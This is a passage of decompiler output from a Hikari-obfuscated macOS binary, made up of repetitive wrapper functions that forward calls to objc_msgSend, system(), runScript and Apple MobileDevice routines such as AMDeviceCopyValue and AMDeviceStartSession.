void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17070(void *a1)
{
showErrMessage(a1);
}
//----- (000000010021CE60) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17071(void *a1)
{
HikariFunctionWrapper_17070(a1);
}
//----- (000000010021CE70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17072(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CE80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17073(void *a1, const char *a2)
{
return HikariFunctionWrapper_17072(a1, a2);
}
//----- (000000010021CE90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17074(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CEA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17075(void *a1, const char *a2)
{
return HikariFunctionWrapper_17074(a1, a2);
}
//----- (000000010021CEB0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17076(void *a1)
{
runScript(a1);
}
//----- (000000010021CEC0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17077(void *a1)
{
HikariFunctionWrapper_17076(a1);
}
//----- (000000010021CED0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17078(void *a1)
{
runScript(a1);
}
//----- (000000010021CEE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17079(void *a1)
{
HikariFunctionWrapper_17078(a1);
}
//----- (000000010021CEF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17080(void *a1)
{
runScript(a1);
}
//----- (000000010021CF00) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17081(void *a1)
{
HikariFunctionWrapper_17080(a1);
}
//----- (000000010021CF10) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17082(void *a1)
{
runScript(a1);
}
//----- (000000010021CF20) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17083(void *a1)
{
HikariFunctionWrapper_17082(a1);
}
//----- (000000010021CF30) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17084(dispatch_queue_s *a1, void *a2)
{
dispatch_async(a1, a2);
}
//----- (000000010021CF40) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17085(dispatch_queue_s *a1, void *a2)
{
HikariFunctionWrapper_17084(a1, a2);
}
//----- (000000010021CF50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17086(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CF60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17087(void *a1, const char *a2)
{
return HikariFunctionWrapper_17086(a1, a2);
}
//----- (000000010021CF70) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17088(void *a1)
{
runScript(a1);
}
//----- (000000010021CF80) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17089(void *a1)
{
HikariFunctionWrapper_17088(a1);
}
//----- (000000010021CF90) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17090(const char *a1)
{
return system(a1);
}
//----- (000000010021CFA0) ----------------------------------------------------
int __fastcall HikariFunctionWrapper_17091(const char *a1)
{
return HikariFunctionWrapper_17090(a1);
}
//----- (000000010021CFB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17092(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CFC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17093(void *a1, const char *a2)
{
return HikariFunctionWrapper_17092(a1, a2);
}
//----- (000000010021CFD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17094(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021CFE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17095(void *a1, const char *a2)
{
return HikariFunctionWrapper_17094(a1, a2);
}
//----- (000000010021CFF0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17096(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D000) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17097(void *a1, const char *a2)
{
HikariFunctionWrapper_17096(a1, a2);
}
//----- (000000010021D010) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17098(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D020) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17099(void *a1, const char *a2)
{
return HikariFunctionWrapper_17098(a1, a2);
}
//----- (000000010021D030) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17100(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D040) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17101(void *a1, const char *a2)
{
return HikariFunctionWrapper_17100(a1, a2);
}
//----- (000000010021D050) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17102(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D060) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17103(void *a1, const char *a2)
{
return HikariFunctionWrapper_17102(a1, a2);
}
//----- (000000010021D070) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17104(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D080) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17105(void *a1, const char *a2)
{
return HikariFunctionWrapper_17104(a1, a2);
}
//----- (000000010021D090) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17106(NSString *a1)
{
NSLog(a1);
}
//----- (000000010021D0A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17107(NSString *a1)
{
HikariFunctionWrapper_17106(a1);
}
//----- (000000010021D0B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17108(__int64 a1)
{
return AMDeviceStartSession(a1);
}
// 100256198: using guessed type __int64 __fastcall AMDeviceStartSession(_QWORD);
//----- (000000010021D0C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17109(__int64 a1)
{
return HikariFunctionWrapper_17108(a1);
}
//----- (000000010021D0D0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17110(__int64 a1)
{
return AMDeviceIsPaired(a1);
}
// 100256174: using guessed type __int64 __fastcall AMDeviceIsPaired(_QWORD);
//----- (000000010021D0E0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17111(__int64 a1)
{
return HikariFunctionWrapper_17110(a1);
}
//----- (000000010021D0F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17112(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D100) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17113(void *a1, const char *a2)
{
return HikariFunctionWrapper_17112(a1, a2);
}
//----- (000000010021D110) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17114(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17115(void *a1, const char *a2)
{
return HikariFunctionWrapper_17114(a1, a2);
}
//----- (000000010021D130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17116(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17117(void *a1, const char *a2)
{
return HikariFunctionWrapper_17116(a1, a2);
}
//----- (000000010021D150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17118(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17119(void *a1, const char *a2)
{
return HikariFunctionWrapper_17118(a1, a2);
}
//----- (000000010021D170) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17120(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D180) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17121(void *a1, const char *a2)
{
HikariFunctionWrapper_17120(a1, a2);
}
//----- (000000010021D190) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17122(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D1A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17123(void *a1, const char *a2)
{
HikariFunctionWrapper_17122(a1, a2);
}
//----- (000000010021D1B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17124(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D1C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17125(void *a1, const char *a2)
{
HikariFunctionWrapper_17124(a1, a2);
}
//----- (000000010021D1D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17126(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D1E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17127(void *a1, const char *a2)
{
HikariFunctionWrapper_17126(a1, a2);
}
//----- (000000010021D1F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17128(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17129(void *a1, const char *a2)
{
HikariFunctionWrapper_17128(a1, a2);
}
//----- (000000010021D210) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17130(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D220) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17131(void *a1, const char *a2)
{
return HikariFunctionWrapper_17130(a1, a2);
}
//----- (000000010021D230) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17132(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17133(void *a1, const char *a2)
{
return HikariFunctionWrapper_17132(a1, a2);
}
//----- (000000010021D250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17134(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17135(void *a1, const char *a2)
{
return HikariFunctionWrapper_17134(a1, a2);
}
//----- (000000010021D270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17136(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D280) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17137(void *a1, const char *a2)
{
return HikariFunctionWrapper_17136(a1, a2);
}
//----- (000000010021D290) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17138(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D2A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17139(void *a1, const char *a2)
{
return HikariFunctionWrapper_17138(a1, a2);
}
//----- (000000010021D2B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17140(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D2C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17141(void *a1, const char *a2)
{
return HikariFunctionWrapper_17140(a1, a2);
}
//----- (000000010021D2D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17142(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D2E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17143(void *a1, const char *a2)
{
return HikariFunctionWrapper_17142(a1, a2);
}
//----- (000000010021D2F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17144(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17145(void *a1, const char *a2)
{
return HikariFunctionWrapper_17144(a1, a2);
}
//----- (000000010021D310) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17146(__int64 a1)
{
return AMDCopyArrayOfDevicesMatchingQuery(a1);
}
// 10025613E: using guessed type __int64 __fastcall AMDCopyArrayOfDevicesMatchingQuery(_QWORD);
//----- (000000010021D320) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17147(__int64 a1)
{
return HikariFunctionWrapper_17146(a1);
}
//----- (000000010021D330) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17148(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17149(void *a1, const char *a2)
{
HikariFunctionWrapper_17148(a1, a2);
}
//----- (000000010021D350) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17150(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D360) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17151(__int64 a1)
{
return HikariFunctionWrapper_17150(a1);
}
//----- (000000010021D370) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17152(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D380) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17153(void *a1, const char *a2)
{
HikariFunctionWrapper_17152(a1, a2);
}
//----- (000000010021D390) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17154(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D3A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17155(void *a1, const char *a2)
{
HikariFunctionWrapper_17154(a1, a2);
}
//----- (000000010021D3B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17156(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D3C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17157(__int64 a1)
{
return HikariFunctionWrapper_17156(a1);
}
//----- (000000010021D3D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17158(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D3E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17159(void *a1, const char *a2)
{
HikariFunctionWrapper_17158(a1, a2);
}
//----- (000000010021D3F0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17160(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D400) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17161(__int64 a1)
{
return HikariFunctionWrapper_17160(a1);
}
//----- (000000010021D410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17162(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D420) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17163(void *a1, const char *a2)
{
return HikariFunctionWrapper_17162(a1, a2);
}
//----- (000000010021D430) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17164(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17165(void *a1, const char *a2)
{
return HikariFunctionWrapper_17164(a1, a2);
}
//----- (000000010021D450) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17166(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D460) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17167(__int64 a1)
{
return HikariFunctionWrapper_17166(a1);
}
//----- (000000010021D470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17168(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17169(void *a1, const char *a2)
{
return HikariFunctionWrapper_17168(a1, a2);
}
//----- (000000010021D490) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17170(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D4A0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17171(__int64 a1)
{
return HikariFunctionWrapper_17170(a1);
}
//----- (000000010021D4B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17172(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D4C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17173(void *a1, const char *a2)
{
return HikariFunctionWrapper_17172(a1, a2);
}
//----- (000000010021D4D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17174(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D4E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17175(void *a1, const char *a2)
{
return HikariFunctionWrapper_17174(a1, a2);
}
//----- (000000010021D4F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17176(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D500) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17177(void *a1, const char *a2)
{
HikariFunctionWrapper_17176(a1, a2);
}
//----- (000000010021D510) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17178(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D520) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17179(void *a1, const char *a2)
{
HikariFunctionWrapper_17178(a1, a2);
}
//----- (000000010021D530) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17180(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D540) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17181(void *a1, const char *a2)
{
return HikariFunctionWrapper_17180(a1, a2);
}
//----- (000000010021D550) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17182(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D560) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17183(void *a1, const char *a2)
{
HikariFunctionWrapper_17182(a1, a2);
}
//----- (000000010021D570) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17184(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D580) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17185(void *a1, const char *a2)
{
return HikariFunctionWrapper_17184(a1, a2);
}
//----- (000000010021D590) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17186(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D5A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17187(void *a1, const char *a2)
{
HikariFunctionWrapper_17186(a1, a2);
}
//----- (000000010021D5B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17188(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D5C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17189(void *a1, const char *a2)
{
return HikariFunctionWrapper_17188(a1, a2);
}
//----- (000000010021D5D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17190(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D5E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17191(void *a1, const char *a2)
{
return HikariFunctionWrapper_17190(a1, a2);
}
//----- (000000010021D5F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17192(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D600) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17193(void *a1, const char *a2)
{
return HikariFunctionWrapper_17192(a1, a2);
}
//----- (000000010021D610) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17194(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D620) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17195(void *a1, const char *a2)
{
HikariFunctionWrapper_17194(a1, a2);
}
//----- (000000010021D630) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17196(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D640) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17197(void *a1, const char *a2)
{
return HikariFunctionWrapper_17196(a1, a2);
}
//----- (000000010021D650) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17198(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D660) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17199(void *a1, const char *a2)
{
return HikariFunctionWrapper_17198(a1, a2);
}
//----- (000000010021D670) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17200(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D680) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17201(void *a1, const char *a2)
{
HikariFunctionWrapper_17200(a1, a2);
}
//----- (000000010021D690) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17202(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D6A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17203(void *a1, const char *a2)
{
HikariFunctionWrapper_17202(a1, a2);
}
//----- (000000010021D6B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17204(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D6C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17205(void *a1, const char *a2)
{
HikariFunctionWrapper_17204(a1, a2);
}
//----- (000000010021D6D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17206(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D6E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17207(void *a1, const char *a2)
{
HikariFunctionWrapper_17206(a1, a2);
}
//----- (000000010021D6F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17208(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (000000010021D700) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_17209(void *a1, const char *a2)
{
return HikariFunctionWrapper_17208(a1, a2);
}
//----- (000000010021D710) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17210(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D720) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17211(void *a1, const char *a2)
{
HikariFunctionWrapper_17210(a1, a2);
}
//----- (000000010021D730) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_17212(const __CFArray *a1)
{
return CFArrayGetCount(a1);
}
//----- (000000010021D740) ----------------------------------------------------
CFIndex __fastcall HikariFunctionWrapper_17213(const __CFArray *a1)
{
return HikariFunctionWrapper_17212(a1);
}
//----- (000000010021D750) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17214(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D760) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17215(void *a1, const char *a2)
{
HikariFunctionWrapper_17214(a1, a2);
}
//----- (000000010021D770) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17216(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D780) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17217(void *a1, const char *a2)
{
HikariFunctionWrapper_17216(a1, a2);
}
//----- (000000010021D790) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17218(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D7A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17219(void *a1, const char *a2)
{
HikariFunctionWrapper_17218(a1, a2);
}
//----- (000000010021D7B0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17220(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D7C0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17221(__int64 a1)
{
return HikariFunctionWrapper_17220(a1);
}
//----- (000000010021D7D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17222(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D7E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17223(void *a1, const char *a2)
{
HikariFunctionWrapper_17222(a1, a2);
}
//----- (000000010021D7F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17224(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (000000010021D800) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17225(void *a1, const char *a2)
{
HikariFunctionWrapper_17224(a1, a2);
}
//----- (000000010021D810) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17226(__int64 a1)
{
return AMDeviceCopyValue(a1);
}
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
//----- (000000010021D820) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_17227(__int64 a1)
{
return HikariFunctionWrapper_17226(a1);
}
